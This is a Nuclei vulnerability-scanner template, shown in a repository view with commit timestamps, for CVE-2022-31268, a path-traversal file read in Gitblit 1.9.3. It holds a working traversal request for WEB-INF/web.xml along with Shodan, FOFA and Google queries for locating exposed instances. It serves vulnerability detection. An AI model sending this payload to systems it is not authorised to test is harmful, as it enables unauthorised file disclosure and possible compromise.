nuclei-templates/http/cves/2022/CVE-2022-31268.yaml

65 lines
2.0 KiB
YAML
Raw Normal View History

2022-06-06 10:59:31 +00:00
id: CVE-2022-31268
info:
name: Gitblit 1.9.3 - Local File Inclusion
2022-06-06 10:59:31 +00:00
author: 0x_Akoko
severity: high
description: |
Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268).
2022-06-06 10:59:31 +00:00
reference:
- https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md
- https://vuldb.com/?id.200500
- https://nvd.nist.gov/vuln/detail/CVE-2022-31268
- https://github.com/Marcuccio/kevin
- https://github.com/20142995/sectool
2022-06-06 10:59:31 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-31268
cwe-id: CWE-22
epss-score: 0.00618
epss-percentile: 0.76574
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:gitblit:gitblit:1.9.3:*:*:*:*:*:*:*
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: gitblit
product: gitblit
shodan-query:
- http.html:"Gitblit"
- http.title:"gitblit"
- http.html:"gitblit"
fofa-query:
- title="gitblit"
- body="gitblit"
2024-05-31 19:23:20 +00:00
google-query: intitle:"gitblit"
tags: cve,cve2022,lfi,gitblit
http:
2022-06-06 10:59:31 +00:00
- method: GET
path:
- "{{BaseURL}}/resources//../WEB-INF/web.xml"
matchers-condition: and
matchers:
- type: word
part: body
2022-06-06 10:59:31 +00:00
words:
- "</web-app>"
- "java.sun.com"
- "gitblit.properties"
2022-06-06 10:59:31 +00:00
condition: and
- type: word
part: header
words:
- "application/xml"
- type: status
status:
- 200
# digest: 490a00463044022074bff597a7bd921590811d09452dde5bbc69ffe1e382bc206471581e35a995230220300b8fb359c3f27c62cb5b7c60b73089dca648fc900c4da96f09859f1e57684b:922c64590222798bb761d5b6d8e72950